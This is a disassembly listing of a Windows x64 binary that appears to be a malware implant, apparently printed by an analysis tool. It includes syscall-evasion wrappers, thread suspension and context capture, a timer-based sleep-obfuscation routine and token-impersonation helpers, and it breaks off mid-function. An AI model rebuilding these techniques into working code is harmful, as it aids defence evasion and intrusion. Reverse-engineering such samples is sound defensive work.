Similarity

14001ffc0
14001ffc0SysNtTerminateThread:
14001ffc0push rbx
14001ffc1xor eax, eax
14001ffc3mov rbx, rcx
14001ffc6sub rsp, 64
14001ffcamov [rsp+48], rax
14001ffcfmov [rsp+56], rax
14001ffd4mov rax, [rip+50069]
14001ffdbcmp [rax+218], 0
14001ffe2je 0x140020025
14001ffe4mov rcx, [rax+2028]
14001ffebtest rcx, rcx
14001ffeeje 0x140020025
14001fff0mov r8w, [rax+2086]
14001fff8test r8w, r8w
14001fffcje 0x140020025
14001fffemov [rsp+48], rcx
140020003lea rcx, [rsp+48]
140020008mov [rsp+88], edx
14002000cmov [rsp+56], r8w
140020012call SysSetConfig
140020017mov edx, [rsp+88]
14002001bmov rcx, rbx
14002001ecall SysInvoke
140020023jmp 0x14002002e
140020025
140020025loc_140020025:
140020025mov rcx, rbx
140020028call [rax+684]
14002002e
14002002eloc_14002002e:
14002002emov [rsp+32], eax
140020032lea r9, [rip+37630]
140020039mov ebx, eax
14002003bmov r8l, 353
140020041lea rdx, [rip+51560]
140020048lea rcx, [rip+37137]
14002004fcall printf.constprop.0
140020054add rsp, 64
140020058mov eax, ebx
14002005apop rbx
14002005bret
14001ffc0

14002005c
14002005c // align 0x10

140020060
140020060SysNtUnmapViewOfSection:
140020060push rbx
140020061xor eax, eax
140020063mov rbx, rcx
140020066sub rsp, 64
14002006amov [rsp+48], rax
14002006fmov [rsp+56], rax
140020074mov rax, [rip+49909]
14002007bcmp [rax+218], 0
140020082je 0x1400200c7
140020084mov rcx, [rax+2028]
14002008btest rcx, rcx
14002008eje 0x1400200c7
140020090mov r8w, [rax+2082]
140020098test r8w, r8w
14002009cje 0x1400200c7
14002009emov [rsp+48], rcx
1400200a3lea rcx, [rsp+48]
1400200a8mov [rsp+88], rdx
1400200admov [rsp+56], r8w
1400200b3call SysSetConfig
1400200b8mov rdx, [rsp+88]
1400200bdmov rcx, rbx
1400200c0call SysInvoke
1400200c5jmp 0x1400200d0
1400200c7
1400200c7loc_1400200c7:
1400200c7mov rcx, rbx
1400200cacall [rax+668]
1400200d0
1400200d0loc_1400200d0:
1400200d0mov [rsp+32], eax
1400200d4lea r9, [rip+37404]
1400200dbmov ebx, eax
1400200ddmov r8l, 311
1400200e3lea rdx, [rip+51718]
1400200ealea rcx, [rip+36975]
1400200f1call printf.constprop.0
1400200f6add rsp, 64
1400200famov eax, ebx
1400200fcpop rbx
1400200fdret
140020060

1400200fe
1400200fe // align 0x10

140020100
140020100SysNtWaitForSingleObject:
140020100push rbx
140020101xor eax, eax
140020103mov rbx, rcx
140020106movzx edx, dl
140020109sub rsp, 80
14002010dmov [rsp+64], rax
140020112mov [rsp+72], rax
140020117mov rax, [rip+49746]
14002011ecmp [rax+218], 0
140020125je 0x140020172
140020127mov rcx, [rax+2028]
14002012etest rcx, rcx
140020131je 0x140020172
140020133mov r9w, [rax+2072]
14002013btest r9w, r9w
14002013fje 0x140020172
140020141mov [rsp+64], rcx
140020146lea rcx, [rsp+64]
14002014bmov [rsp+112], r8
140020150mov [rsp+60], edx
140020154mov [rsp+72], r9w
14002015acall SysSetConfig
14002015fmov r8, [rsp+112]
140020164mov edx, [rsp+60]
140020168mov rcx, rbx
14002016bcall SysInvoke
140020170jmp 0x14002017b
140020172
140020172loc_140020172:
140020172mov rcx, rbx
140020175call [rax+620]
14002017b
14002017bloc_14002017b:
14002017bmov [rsp+32], eax
14002017flea r9, [rip+37146]
140020186mov ebx, eax
140020188mov r8l, 254
14002018elea rdx, [rip+51787]
140020195lea rcx, [rip+36804]
14002019ccall printf.constprop.0
1400201a1add rsp, 80
1400201a5mov eax, ebx
1400201a7pop rbx
1400201a8ret
140020100

1400201a9
1400201a9 // align 0x10

1400201b0
1400201b0SysNtWriteVirtualMemory:
1400201b0push rsi
1400201b1xor eax, eax
1400201b3push rbx
1400201b4mov rbx, rcx
1400201b7sub rsp, 72
1400201bbmov [rsp+48], rax
1400201c0mov rsi, [rsp+128]
1400201c8mov [rsp+56], rax
1400201cdmov rax, [rip+49564]
1400201d4cmp [rax+218], 0
1400201dbje 0x140020239
1400201ddmov rcx, [rax+2028]
1400201e4test rcx, rcx
1400201e7je 0x140020239
1400201e9mov r10w, [rax+2076]
1400201f1test r10w, r10w
1400201f5je 0x140020239
1400201f7mov [rsp+48], rcx
1400201fclea rcx, [rsp+48]
140020201mov [rsp+120], r9
140020206mov [rsp+112], r8
14002020bmov [rsp+104], rdx
140020210mov [rsp+56], r10w
140020216call SysSetConfig
14002021bmov [rsp+32], rsi
140020220mov r9, [rsp+120]
140020225mov rcx, rbx
140020228mov r8, [rsp+112]
14002022dmov rdx, [rsp+104]
140020232call SysInvoke
140020237jmp 0x140020247
140020239
140020239loc_140020239:
140020239mov [rsp+32], rsi
14002023emov rcx, rbx
140020241call [rax+644]
140020247
140020247loc_140020247:
140020247mov [rsp+32], eax
14002024blea r9, [rip+36988]
140020252mov ebx, eax
140020254mov r8l, 285
14002025alea rdx, [rip+51487]
140020261lea rcx, [rip+36600]
140020268call printf.constprop.0
14002026dadd rsp, 72
140020271mov eax, ebx
140020273pop rbx
140020274pop rsi
140020275ret
1400201b0

140020276
140020276 // align 0x10

140020280
140020280ThreadCreate:
140020280push rsi
140020281mov rax, rdx
140020284push rbx
140020285xor ebx, ebx
140020287sub rsp, 168
14002028emov [rsp+96], rbx
140020293mov rdx, [rsp+224]
14002029bmov rsi, [rsp+232]
1400202a3cmp cl, 2
1400202a6je 0x140020326
1400202a8ja 0x1400202ca
1400202aatest cl, cl
1400202acjne 0x1400202f5
1400202aemov [rsp+32], rdx
1400202b3mov ecx, 2
1400202b8mov rdx, rax
1400202bbmov [rsp+40], rsi
1400202c0call ThreadCreate
1400202c5jmp 0x1400203f9
1400202ca
1400202caloc_1400202ca:
1400202cacmp cl, 3
1400202cdje 0x1400203f4
1400202d3movzx r9l, cl
1400202d7mov r8l, 276
1400202ddlea rdx, [rip+50156]
1400202e4lea rcx, [rip+38419]
1400202ebcall printf
1400202f0jmp 0x1400203f4
1400202f5
1400202f5loc_1400202f5:
1400202f5mov rcx, rax
1400202f8mov rax, [rip+49265]
1400202ffxor r11l, r11l
140020302xor r8l, r8l
140020305mov [rsp+32], rdx
14002030axor edx, edx
14002030cmov [rsp+48], rsi
140020311mov [rsp+40], r11l
140020316call [rax+764]
14002031cmov [rsp+96], rax
140020321jmp 0x1400203f4
140020326
140020326loc_140020326:
140020326lea r8, [rsp+120]
14002032bxor r10l, r10l
14002032exor ecx, ecx
140020330mov [rsp+40], rdx
140020335mov [rsp+80], r8
14002033axor r8l, r8l
14002033dmov edx, 0x1fffff
140020342mov [rsp+72], r8
140020347mov [rsp+64], r8
14002034cmov [rsp+56], r8
140020351xor r8l, r8l
140020354mov [rsp+32], r9
140020359mov r9, rax
14002035cmov [rsp+48], r10l
140020361mov [rsp+152], rcx
140020369mov [rsp+104], rcx
14002036emov [rsp+112], rcx
140020373lea rcx, [rsp+104]
140020378mov [rsp+144], rcx
140020380lea rcx, [rsp+96]
140020385mov [rsp+128], 0x10003
140020391mov [rsp+136], 16
14002039dmov [rsp+120], 40
1400203a6call SysNtCreateThreadEx
1400203abmov ebx, eax
1400203adtest eax, eax
1400203afjs 0x1400203bf
1400203b1test rsi, rsi
1400203b4je 0x1400203f4
1400203b6mov rax, [rsp+112]
1400203bbmov [rsi], eax
1400203bdjmp 0x1400203f4
1400203bf
1400203bfloc_1400203bf:
1400203bfmov r9l, eax
1400203c2mov r8l, 263
1400203c8lea rdx, [rip+49921]
1400203cflea rcx, [rip+38122]
1400203d6call printf
1400203dbmov rax, [rip+49038]
1400203e2mov ecx, ebx
1400203e4mov rsi, [rax+2230]
1400203ebcall [rax+348]
1400203f1mov [rsi+104], eax
1400203f4
1400203f4loc_1400203f4:
1400203f4mov rax, [rsp+96]
1400203f9
1400203f9loc_1400203f9:
1400203f9add rsp, 168
140020400pop rbx
140020401pop rsi
140020402ret
140020280

140020403
140020403 // align 0x10

140020410
140020410ThreadQueryTib:
140020410push rbp
140020411xor eax, eax
140020413xor r10l, r10l
140020416xor r11l, r11l
140020419mov rbp, rsp
14002041cpush r15
14002041epush r14
140020420mov r14, 0x1000000040
14002042apush r13
14002042cpush r12
14002042epush rdi
14002042fpush rsi
140020430mov rsi, rdx
140020433push rbx
140020434xor ebx, ebx
140020436and rsp, -16
14002043asub rsp, 1456
140020441mov [rbp+16], rcx
140020445mov ecx, 12
14002044amov [rsp+96], r10
14002044flea r12, [rsp+88]
140020454lea r15, [rsp+112]
140020459lea rdi, [rsp+128]
140020461mov [rsp+104], r10
140020466rep stosd [rdi], eax
140020468mov ecx, 12
14002046dmov [rsp+112], r11
140020472lea rdi, [rsp+176]
14002047arep stosd [rdi], eax
14002047cmov ecx, 308
140020481mov [rsp+120], r11
140020486lea rdi, [rsp+224]
14002048erep stosd [rdi], eax
140020490mov rax, [rip+48857]
140020497mov [rsp+88], rbx
14002049cxor ebx, ebx
14002049emov [rsp+272], 0x10000b
1400204a9mov rax, [rax+2230]
1400204b0mov r13, [rax+72]
1400204b4lea rax, [rsp+128]
1400204bcmov [rsp+72], rax
1400204c1lea rax, [rsp+176]
1400204c9mov [rsp+64], rax
1400204celea rax, [rsp+224]
1400204d6mov [rsp+56], rax
1400204db
1400204dbloc_1400204db:
1400204dbxor eax, eax
1400204ddmov [rsp+40], r12
1400204e2xor r9l, r9l
1400204e5or rcx, -1
1400204e9mov [rsp+32], eax
1400204edmov r8l, 0x1fffff
1400204f3mov rdx, rbx
1400204f6call SysNtGetNextThread
1400204fbtest eax, eax
1400204fdjs 0x140020638
140020503test rbx, rbx
140020506je 0x140020510
140020508mov rcx, rbx
14002050bcall SysNtClose
140020510
140020510loc_140020510:
140020510xor r9l, r9l
140020513mov rbx, [rsp+88]
140020518lea rdi, [rsp+96]
14002051dmov edx, 26
140020522mov [rsp+32], r9
140020527mov r8, rdi
14002052amov r9l, 16
140020530mov rcx, rbx
140020533mov [rsp+104], r14
140020538mov [rsp+96], r15
14002053dcall SysNtQueryInformationThread
140020542test eax, eax
140020544js 0x1400204db
140020546mov eax, r13l
140020549cmp [rsp+120], rax
14002054eje 0x1400204db
140020550xor edx, edx
140020552mov rcx, rbx
140020555call SysNtSuspendThread
14002055atest eax, eax
14002055cjs 0x1400204db
140020562mov rdx, [rsp+56]
140020567mov rcx, rbx
14002056acall SysNtGetContextThread
14002056ftest eax, eax
140020571js 0x140020629
140020577xor r8l, r8l
14002057amov r9, [rsp+72]
14002057for rcx, -1
140020583mov [rsp+32], 48
14002058cmov [rsp+40], r8
140020591mov rdx, [rsp+376]
140020599xor r8l, r8l
14002059ccall SysNtQueryVirtualMemory
1400205a1test eax, eax
1400205a3js 0x140020629
1400205a9xor ecx, ecx
1400205abmov r9, [rsp+64]
1400205b0xor r8l, r8l
1400205b3mov [rsp+32], 48
1400205bcmov [rsp+40], rcx
1400205c1mov rdx, [rbp+16]
1400205c5or rcx, -1
1400205c9call SysNtQueryVirtualMemory
1400205cetest eax, eax
1400205d0js 0x140020629
1400205d2mov rax, [rsp+184]
1400205dacmp [rsp+136], rax
1400205e2jne 0x140020629
1400205e4xor edx, edx
1400205e6mov eax, 7
1400205ebmov r9l, 16
1400205f1mov r8, rdi
1400205f4mov [rsp+32], rdx
1400205f9shl rax, 35
1400205fdmov edx, 26
140020602mov rcx, rbx
140020605mov [rsp+104], rax
14002060amov [rsp+96], rsi
14002060fcall SysNtQueryInformationThread
140020614test eax, eax
140020616js 0x140020629
140020618xor edx, edx
14002061amov rcx, rbx
14002061dmov esi, 1
140020622call SysNtResumeThread
140020627jmp 0x14002063a
140020629
140020629loc_140020629:
140020629xor edx, edx
14002062bmov rcx, rbx
14002062ecall SysNtResumeThread
140020633jmp 0x1400204db
140020638
140020638loc_140020638:
140020638xor esi, esi
14002063a
14002063aloc_14002063a:
14002063atest rbx, rbx
14002063dje 0x140020647
14002063fmov rcx, rbx
140020642call SysNtClose
140020647
140020647loc_140020647:
140020647lea rsp, [rbp-56]
14002064bmov eax, esi
14002064dpop rbx
14002064epop rsi
14002064fpop rdi
140020650pop r12
140020652pop r13
140020654pop r14
140020656pop r15
140020658pop rbp
140020659ret
140020410

14002065a
14002065a // align 0x10

140020660
140020660TimerObf:
140020660push rbp
140020661mov eax, 18800
140020666mov rbp, rsp
140020669push r15
14002066bpush r14
14002066dpush r13
14002066fpush r12
140020671push rdi
140020672push rsi
140020673push rbx
140020674and rsp, -16
140020678call ___chkstk_ms
14002067dxor r9l, r9l
140020680xor r10l, r10l
140020683sub rsp, rax
140020686mov r12l, ecx
140020689xor eax, eax
14002068bmov ecx, 308
140020690lea rdi, [rsp+320]
140020698mov rsi, [rip+48337]
14002069fmov [rbp+24], edx
1400206a2lea r13, [rsp+320]
1400206aarep stosd [rdi], eax
1400206acmov ecx, 308
1400206b1mov [rsp+104], r9
1400206b6lea rdi, [rsp+1552]
1400206berep stosd [rdi], eax
1400206c0lea rdi, [rsp+2784]
1400206c8mov ecx, 4004
1400206cdmov [rsp+112], r9
1400206d2rep stosd [rdi], eax
1400206d4lea rdi, [rsp+208]
1400206dcmov ecx, 14
1400206e1mov [rsp+120], r9
1400206e6rep stosd [rdi], eax
1400206e8lea rdi, [rsp+264]
1400206f0mov ecx, 14
1400206f5mov [rsp+128], r9
1400206fdrep stosd [rdi], eax
1400206ffmov rax, [rsi+44]
140020703mov [rsp+136], r9
14002070bmov [rsp+144], r9
140020713mov [rsp+72], rax
140020718mov eax, [rsi+52]
14002071bmov [rsp+152], r9
140020723mov [rsp+64], rax
140020728mov rax, [rsi+56]
14002072cmov [rsp+160], r9
140020734test rax, rax
140020737mov [rsp+168], r9
14002073fmov [rsp+176], r9
140020747mov [rsp+184], r9
14002074fmov [rsp+192], r9
140020757mov [rsp+200], r9
14002075fmov [rsp+100], r10l
140020764mov [rsp+84], 64
14002076cje 0x140020789
14002076emov edx, [rsi+64]
140020771test edx, edx
140020773je 0x140020789
140020775mov ebx, edx
140020777mov [rsp+72], rax
14002077cmov [rsp+64], rbx
140020781mov [rsp+84], 32
140020789
140020789loc_140020789:
140020789xor ebx, ebx
14002078b
14002078bloc_14002078b:
14002078bcall RandomNumber32
140020790mov edx, eax
140020792lea rax, [rsp+160]
14002079amov [rsp+rbx+160], dl
1400207a1inc rbx
1400207a4cmp rbx, 16
1400207a8jne 0x14002078b
1400207aamov r14l, [rsi+52]
1400207aemov r15, [rsi+44]
1400207b2mov [rsp+184], rax
1400207bamov rax, 0x1000000010
1400207c4cmp [rbp+24], 1
1400207c8mov [rsp+176], rax
1400207d0mov [rsp+200], r15
1400207d8mov [rsp+196], r14l
1400207e0mov [rsp+192], r14l
1400207e8jne 0x1400207f7
1400207ealea rcx, [rsp+104]
1400207efcall [rsi+404]
1400207f5jmp 0x140020849
1400207f7
1400207f7loc_1400207f7:
1400207f7cmp [rbp+24], 2
1400207fbmov rax, [rsi+564]
140020802je 0x14002082e
140020804
140020804loc_140020804:
140020804xor r8l, r8l
140020807xor r9l, r9l
14002080amov edx, 0x1f0003
14002080fmov [rsp+32], r8l
140020814lea rcx, [rsp+136]
14002081cxor r8l, r8l
14002081fcall [rsi+564]
140020825test eax, eax
140020827jns 0x140020869
140020829jmp 0x140020ed4
14002082e
14002082eloc_14002082e:
14002082exor edx, edx
140020830lea rcx, [rsp+152]
140020838xor r9l, r9l
14002083bxor r8l, r8l
14002083emov [rsp+32], edx
140020842mov edx, 0x1f0003
140020847call rax
140020849
140020849loc_140020849:
140020849mov r9l, eax
14002084ctest eax, eax
14002084ejns 0x140020804
140020850mov r8l, 605
140020856lea rdx, [rip+49171]
14002085dlea rcx, [rip+33891]
140020864jmp 0x140020eeb
140020869
140020869loc_140020869:
140020869xor eax, eax
14002086bxor r9l, r9l
14002086exor r8l, r8l
140020871mov edx, 0x1f0003
140020876mov [rsp+32], eax
14002087alea rcx, [rsp+128]
140020882call [rsi+564]
140020888test eax, eax
14002088ajs 0x140020ed4
140020890xor eax, eax
140020892xor r9l, r9l
140020895xor r8l, r8l
140020898mov edx, 0x1f0003
14002089dmov [rsp+32], eax
1400208a1lea rcx, [rsp+144]
1400208a9call [rsi+564]
1400208aftest eax, eax
1400208b1js 0x140020ed4
1400208b7cmp [rbp+24], 1
1400208bbjne 0x140020930
1400208bdxor eax, eax
1400208bflea rbx, [rsp+112]
1400208c4mov r9, r13
1400208c7mov rcx, [rsp+104]
1400208ccmov r8, [rsi+420]
1400208d3mov rdx, rbx
1400208d6mov [rsp+48], 32
1400208demov [rsp+40], eax
1400208e2mov [rsp+32], 100
1400208eacall [rsi+380]
1400208f0mov r9l, eax
1400208f3test eax, eax
1400208f5js 0x140020ebe
1400208fbxor eax, eax
1400208fdmov rcx, [rsp+104]
140020902mov rdx, rbx
140020905mov [rsp+48], 32
14002090dmov [rsp+40], eax
140020911mov r9, [rsp+136]
140020919lea r8, [rip-55568]
140020920mov [rsp+32], 200
140020928call [rsi+380]
14002092ejmp 0x1400209a7
140020930
140020930loc_140020930:
140020930xor ebx, ebx
140020932cmp [rbp+24], 2
140020936jne 0x1400209bd
14002093clea rbx, [rsp+112]
140020941mov r8, [rsi+420]
140020948mov r9, r13
14002094bmov [rsp+40], 12
140020953mov [rsp+32], 100
14002095bmov rdx, [rsp+152]
140020963mov rcx, rbx
140020966call [rsi+388]
14002096cmov r9l, eax
14002096ftest eax, eax
140020971js 0x140020ebe
140020977mov [rsp+40], 12
14002097fmov r9, [rsp+136]
140020987mov rcx, rbx
14002098alea r8, [rip-55681]
140020991mov [rsp+32], 200
140020999mov rdx, [rsp+152]
1400209a1call [rsi+388]
1400209a7
1400209a7loc_1400209a7:
1400209a7mov r9l, eax
1400209aamov r8l, 596
1400209b0test eax, eax
1400209b2js 0x140020ec4
1400209b8mov ebx, 200
1400209bd
1400209bdloc_1400209bd:
1400209bdmov rcx, [rsp+136]
1400209c5xor r8l, r8l
1400209c8xor edx, edx
1400209cacall SysNtWaitForSingleObject
1400209cfmov r8l, 452
1400209d5lea rdx, [rip+48788]
1400209dclea rcx, [rip+33069]
1400209e3mov r9l, eax
1400209e6test eax, eax
1400209e8js 0x140020eeb
1400209eemov r10, [rip+47483]
1400209f5cmp [r10+214], 0
1400209fdje 0x140020aab
140020a03mov rcx, [rsp+472]
140020a0blea rdx, [rsp+208]
140020a13call ThreadQueryTib
140020a18test eax, eax
140020a1ajne 0x140020a41
140020a1clea r9, [rip+33061]
140020a23mov r8l, 461
140020a29lea rdx, [rip+48704]
140020a30lea rcx, [rip+33064]
140020a37call printf
140020a3cjmp 0x140020ef0
140020a41
140020a41loc_140020a41:
140020a41xor eax, eax
140020a43or r8, -1
140020a47lea r9, [rsp+120]
140020a4cor rcx, -1
140020a50mov [rsp+48], 2
140020a58mov rdx, -2
140020a5fmov [rsp+40], eax
140020a63mov [rsp+32], eax
140020a67call SysNtDuplicateObject
140020a6cmov r10, [rip+47357]
140020a73mov r8l, 467
140020a79lea rdx, [rip+48624]
140020a80test eax, eax
140020a82mov r9l, eax
140020a85lea rcx, [rip+32999]
140020a8cjs 0x140020eeb
140020a92lea rax, [rsp+264]
140020a9amov rsi, [r10+2230]
140020aa1mov ecx, 14
140020aa6mov rdi, rax
140020aa9rep movsd [rdi], [rsi]
140020aab
140020aabloc_140020aab:
140020aablea rax, [rsp+2784]
140020ab3lea rdx, [rsp+18800]
140020abbmov [rsp+88], rax
140020ac0
140020ac0loc_140020ac0:
140020ac0mov rdi, rax
140020ac3mov ecx, 308
140020ac8mov rsi, r13
140020acbrep movsd [rdi], [rsi]
140020acdsub [rax+152], 8
140020ad5add rax, 1232
140020adbcmp rdx, rax
140020adejne 0x140020ac0
140020ae0mov rax, [rsp+128]
140020ae8xor r13l, r13l
140020aebmov rdx, [r10+1692]
140020af2lea rsi, [rsp+100]
140020af7mov [rsp+2968], r13
140020affmov rcx, [r10+804]
140020b06lea r11, [rsp+192]
140020b0elea r8, [rsp+176]
140020b16mov [rsp+2912], rax
140020b1emov eax, -1
140020b23mov r13, [r10+1372]
140020b2amov [rsp+2920], rax
140020b32mov eax, r14l
140020b35cmp [r10+214], 0
140020b3dmov [rsp+4152], rax
140020b45mov eax, ebx
140020b47mov [rsp+1600], 0x10000b
140020b52lea rdi, [rax+r12]
140020b56mov [rsp+368], 0x10000b
140020b61mov [rsp+3032], rdx
140020b69mov [rsp+4264], rcx
140020b71mov [rsp+4144], r15
140020b79mov [rsp+4200], 4
140020b85mov [rsp+4208], rsi
140020b8dmov [rsp+5496], r13
140020b95mov [rsp+5376], r11
140020b9dmov [rsp+5384], r8
140020ba5jne 0x140020bd8
140020ba7xor r12l, r12l
140020baamov [rsp+6728], rdx
140020bb2mov edx, 4
140020bb7mov [rsp+6608], -1
140020bc3mov [rsp+6616], rdi
140020bcbmov [rsp+6664], r12
140020bd3jmp 0x140020d0d
140020bd8
140020bd8loc_140020bd8:
140020bd8mov rax, [r10+588]
140020bdflea r12, [rsp+568]
140020be7lea r15, [rsp+208]
140020befmov [rsp+11544], rdi
140020bf7mov [rsp+7840], r12
140020bfflea r12, [rsp+1800]
140020c07xor edi, edi
140020c09lea r9, [rsp+1552]
140020c11mov [rsp+6728], rax
140020c19mov rax, [rsp+120]
140020c1elea r14, [rsp+320]
140020c26mov [rsp+7848], r12
140020c2emov r12, [r10+2230]
140020c35mov [rsp+6608], rax
140020c3dmov rax, [r10+444]
140020c44mov [rsp+9080], r15
140020c4cmov r10, [r10+596]
140020c53mov r15, [rsp+120]
140020c58mov [rsp+7960], rax
140020c60mov [rsp+9192], rax
140020c68mov [rsp+12888], rax
140020c70lea rax, [rsp+264]
140020c78mov [rsp+6616], r9
140020c80mov [rsp+7896], 1
140020c8cmov [rsp+9072], r12
140020c94mov [rsp+9128], 56
140020ca0mov [rsp+10424], r10
140020ca8mov [rsp+10304], r15
140020cb0mov [rsp+10312], r14
140020cb8mov [rsp+11536], -1
140020cc4mov [rsp+11592], rdi
140020cccmov [rsp+12768], r12
140020cd4mov [rsp+12776], rax
140020cdcmov [rsp+12824], 56
140020ce8mov [rsp+14120], r10
140020cf0mov [rsp+14000], r15
140020cf8mov [rsp+14008], r9
140020d00mov [rsp+11656], rdx
140020d08mov edx, 10
140020d0d
140020d0dloc_140020d0d:
140020d0dmov eax, edx
140020d0fmov rdi, [rsp+72]
140020d14lea r14, [rsp+112]
140020d19lea r12, [rip+47952]
140020d20imul rax, rax, 1232
140020d27mov [rsp+rax+3032], r13
140020d2fxor r13l, r13l
140020d32mov [rsp+rax+2920], r8
140020d3amov r8l, 572
140020d40mov [rsp+rax+2912], r11
140020d48lea eax, [rdx+1]
140020d4bimul rax, rax, 1232
140020d52mov [rsp+rax+2912], rdi
140020d5amov rdi, [rsp+64]
140020d5fmov [rsp+rax+3032], rcx
140020d67mov [rsp+rax+2920], rdi
140020d6fmov edi, [rsp+84]
140020d73mov [rsp+rax+2976], rsi
140020d7bxor esi, esi
140020d7dmov [rsp+rax+2968], rdi
140020d85mov rdi, [rip+46564]
140020d8clea eax, [rdx+2]
140020d8fimul rax, rax, 1232
140020d96mov rcx, [rdi+460]
140020d9dmov [rsp+rax+3032], rcx
140020da5mov rcx, [rsp+144]
140020dadmov [rsp+rax+2920], rsi
140020db5lea esi, [rdx+3]
140020db8mov rdx, r12
140020dbbmov [rsp+rax+2912], rcx
140020dc3mov r9l, esi
140020dc6lea rcx, [rip+32213]
140020dcdcall printf
140020dd2
140020dd2loc_140020dd2:
140020dd2cmp [rbp+24], 1
140020dd6jne 0x140020e25
140020dd8xor r11l, r11l
140020ddbadd ebx, 100
140020ddemov r8, [rdi+692]
140020de5mov rdx, r14
140020de8mov r9, [rsp+88]
140020dedmov rcx, [rsp+104]
140020df2mov [rsp+40], r11l
140020df7mov [rsp+48], 32
140020dffmov [rsp+32], ebx
140020e03call [rdi+380]
140020e09mov r9l, eax
140020e0ctest eax, eax
140020e0ejns 0x140020e70
140020e10mov r8l, 578
140020e16mov rdx, r12
140020e19lea rcx, [rip+32171]
140020e20jmp 0x140020eeb
140020e25
140020e25loc_140020e25:
140020e25cmp [rbp+24], 2
140020e29jne 0x140020e70
140020e2badd ebx, 100
140020e2emov r9, [rsp+88]
140020e33mov rcx, r14
140020e36mov r8, [rdi+692]
140020e3dmov rdx, [rsp+152]
140020e45mov [rsp+40], 12
140020e4dmov [rsp+32], ebx
140020e51call [rdi+388]
140020e57mov r9l, eax
140020e5atest eax, eax
140020e5cjns 0x140020e70
140020e5emov r8l, 583
140020e64mov rdx, r12
140020e67lea rcx, [rip+32137]
140020e6ejmp 0x140020eeb
140020e70
140020e70loc_140020e70:
140020e70add [rsp+88], 1232
140020e79inc r13l
140020e7ccmp r13l, esi
140020e7fjb 0x140020dd2
140020e85mov rdx, [rsp+144]
140020e8dxor r9l, r9l
140020e90xor r8l, r8l
140020e93mov ebx, 1
140020e98mov rcx, [rsp+128]
140020ea0call SysNtSignalAndWaitForSingleObject
140020ea5mov r9l, eax
140020ea8test eax, eax
140020eaajns 0x140020ef2
140020eacmov r8l, 591
140020eb2mov rdx, r12
140020eb5lea rcx, [rip+32104]
140020ebcjmp 0x140020eeb
140020ebe
140020ebeloc_140020ebe:
140020ebemov r8l, 599
140020ec4
140020ec4loc_140020ec4:
140020ec4lea rdx, [rip+47525]
140020ecblea rcx, [rip+32142]
140020ed2jmp 0x140020eeb
140020ed4
140020ed4loc_140020ed4:
140020ed4mov r9l, eax
140020ed7mov r8l, 602
140020eddlea rdx, [rip+47500]
140020ee4lea rcx, [rip+32177]
140020eeb
140020eebloc_140020eeb:
140020eebcall printf
140020ef0
140020ef0loc_140020ef0:
140020ef0xor ebx, ebx
140020ef2
140020ef2loc_140020ef2:
140020ef2mov rcx, [rsp+104]
140020ef7test rcx, rcx
140020efaje 0x140020f11
140020efcmov rax, [rip+46189]
140020f03call [rax+412]
140020f09xor r10l, r10l
140020f0cmov [rsp+104], r10
140020f11
140020f11loc_140020f11:
140020f11mov rcx, [rsp+136]
140020f19test rcx, rcx
140020f1cje 0x140020f2e
140020f1ecall SysNtClose
140020f23xor r9l, r9l
140020f26mov [rsp+136], r9
140020f2e
140020f2eloc_140020f2e:
140020f2emov rcx, [rsp+128]
140020f36test rcx, rcx
140020f39je 0x140020f4b
140020f3bcall SysNtClose
140020f40xor r8l, r8l
140020f43mov [rsp+128], r8
140020f4b
140020f4bloc_140020f4b:
140020f4bmov rcx, [rsp+144]
140020f53test rcx, rcx
140020f56je 0x140020f67
140020f58call SysNtClose
140020f5dxor ecx, ecx
140020f5fmov [rsp+144], rcx
140020f67
140020f67loc_140020f67:
140020f67mov rcx, [rsp+152]
140020f6ftest rcx, rcx
140020f72je 0x140020f83
140020f74call SysNtClose
140020f79xor edx, edx
140020f7bmov [rsp+152], rdx
140020f83
140020f83loc_140020f83:
140020f83mov rcx, [rsp+120]
140020f88test rcx, rcx
140020f8bje 0x140020f99
140020f8dcall SysNtClose
140020f92xor eax, eax
140020f94mov [rsp+120], rax
140020f99
140020f99loc_140020f99:
140020f99lea rdx, [rsp+2784]
140020fa1lea r8, [rsp+18800]
140020fa9xor eax, eax
140020fabmov r9l, 1232
140020fb1
140020fb1loc_140020fb1:
140020fb1mov rdi, rdx
140020fb4mov rcx, r9
140020fb7rep stosb [rdi], al
140020fb9add rdx, 1232
140020fc0cmp rdx, r8
140020fc3jne 0x140020fb1
140020fc5lea rdi, [rsp+160]
140020fcdmov ecx, 16
140020fd2rep stosb [rdi], al
140020fd4lea rsp, [rbp-56]
140020fd8mov eax, ebx
140020fdapop rbx
140020fdbpop rsi
140020fdcpop rdi
140020fddpop r12
140020fdfpop r13
140020fe1pop r14
140020fe3pop r15
140020fe5pop rbp
140020fe6ret
140020660

140020fe7
140020fe7 // align 0x10

140020ff0
140020ff0ToLowerCaseW:
140020ff0lea edx, [rcx-65]
140020ff3mov eax, ecx
140020ff5cmp dx, 25
140020ff9ja 0x140020ffe
140020ffbor eax, 96
140020ffe
140020ffeloc_140020ffe:
140020fferet
140020ff0

140020fff
140020fff // align 0x10

140021000
140021000TokenAdd:
140021000push r12
140021002mov r12, rcx
140021005mov ecx, 64
14002100apush rbp
14002100bmov rbp, rdx
14002100emov edx, 56
140021013push rdi
140021014mov edi, r9l
140021017push rsi
140021018mov esi, r8l
14002101bpush rbx
14002101csub rsp, 32
140021020mov rbx, [rip+45897]
140021027call [rbx+932]
14002102dmov rdx, [rsp+112]
140021032xor ecx, ecx
140021034mov [rax], r12
140021037mov [rax+24], rdx
14002103bmov rdx, [rsp+120]
140021040mov [rax+8], rbp
140021044mov [rax+40], rdx
140021048mov rdx, [rsp+128]
140021050mov [rax+16], edi
140021053mov [rax+32], rdx
140021057xor edx, edx
140021059mov [rax+48], rdx
14002105dmov rdx, [rbx+2274]
140021064mov [rax+20], si
140021068test rdx, rdx
14002106bjne 0x140021076
14002106dmov [rbx+2274], rax
140021074jmp 0x140021088
140021076
140021076loc_140021076:
140021076mov r8, rdx
140021079mov rdx, [rdx+48]
14002107dinc ecx
14002107ftest rdx, rdx
140021082jne 0x140021076
140021084mov [r8+48], rax
140021088
140021088loc_140021088:
140021088add rsp, 32
14002108cmov eax, ecx
14002108epop rbx
14002108fpop rsi
140021090pop rdi
140021091pop rbp
140021092pop r12
140021094ret
140021000

140021095
140021095 // align 0x10

1400210a0
1400210a0TokenClear:
1400210a0push rdi
1400210a1xor ecx, ecx
1400210a3push rsi
1400210a4xor esi, esi
1400210a6push rbx
1400210a7sub rsp, 32
1400210abmov rbx, [rip+45758]
1400210b2mov rdi, [rbx+2274]
1400210b9call TokenImpersonate
1400210be
1400210beloc_1400210be:
1400210betest rdi, rdi
1400210c1je 0x1400210cb
